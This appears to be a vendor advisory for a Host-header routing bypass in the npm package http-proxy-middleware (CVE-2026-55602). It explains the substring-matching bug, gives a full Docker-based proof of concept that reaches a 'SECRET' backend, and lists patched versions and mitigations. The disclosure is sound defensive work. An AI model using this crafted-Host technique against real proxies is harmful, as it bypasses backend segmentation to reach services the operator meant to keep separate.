Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-64mm-vxmg-q3vj

GHSA-64mm-vxmg-q3vj is a Improper Input Validation vulnerability in http-proxy-middleware. O3 Security confirms whether GHSA-64mm-vxmg-q3vj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass

Also known asCVE-2026-55602
Published
Jun 18, 2026
Updated
Jul 6, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-64mm-vxmg-q3vj.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

3 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

4Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
http-proxy-middlewarenpm
26.4Mdownloads / week

Description

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

  • validated on tag v4.0.0-beta.5
  • corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

  • src/router.ts
  • src/http-proxy-middleware.ts

Affected public API:

  • createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

localhost:3000/api

but the attacker-controlled host is:

evillocalhost:3000

and the request path is:

/api

The concatenated attacker-controlled string:

evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

  1. the application enables the documented proxy-table router feature with at least one host+path rule
  2. an external attacker sends an ordinary HTTP request with a crafted Host header
  3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
  4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
  5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash ./run.sh

File: run.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

  • one default backend returning DEFAULT
  • one alternate backend returning SECRET
  • one proxy using:
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

  1. a baseline request to /api with Host: safe.example:3000
  2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

  • baseline request: STEP baseline-route body=DEFAULT
  • crafted request: STEP crafted-route body=SECRET
  • success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

  1. the baseline request stays on the default backend
  2. the crafted request reaches the alternate backend
  3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
📦npmhttp-proxy-middleware3.0.0&&< 3.0.63.0.6
📦npmhttp-proxy-middleware4.0.0&&< 4.1.04.1.0
📦npmhttp-proxy-middleware0.16.0&&< 2.0.102.0.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for http-proxy-middleware. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update http-proxy-middleware to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-64mm-vxmg-q3vj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-64mm-vxmg-q3vj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-64mm-vxmg-q3vj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected pub
O3 Security · Impact-Aware SCA

Is GHSA-64mm-vxmg-q3vj in your dependencies?

O3 detects GHSA-64mm-vxmg-q3vj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-64mm-vxmg-q3vj: http-proxy-middlewa… | O3 Security